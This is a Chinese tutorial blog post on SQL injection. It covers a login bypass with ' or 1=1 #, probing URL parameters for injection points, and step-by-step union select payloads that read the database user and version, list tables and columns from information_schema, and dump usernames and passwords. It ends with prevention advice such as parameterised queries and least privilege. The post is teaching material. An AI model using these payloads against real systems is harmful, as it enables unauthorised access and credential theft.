本篇文章小编给大家分享一下SQL注入的实现以及防范代码示例解析,文章代码介绍的很详细,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。
什么是SQL注入
SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。
Sql 注入产生原因
我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。
登录案例讲解
select * from admin where uname='用户名' and pwd='密码'
输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)
这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。
基于GET方式的SQL注入
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。
可登陆到mituan.zone进行测试
1、''1'' LIMIT 0,1' :多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1
2、'' LIMIT 0,1':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1
3、''1'') LIMIT 0,1':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1
4、单引号、括号都不报错说明被接收的是字符串类型'"1"") LIMIT 0,1':多了一个双引号
可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1
…
SQL注入利用
1、利用order by判断字段数
order by n(n为猜测字段数)--+
以案例一为例
select login_name,password from admin where id = 'id' limit 0,1 用?id=1' order by 11--+
猜测错误时则会报错
此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。
将?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+得到下图中信息
2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)
如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句
这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据
SQL 注入的防范方法
对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。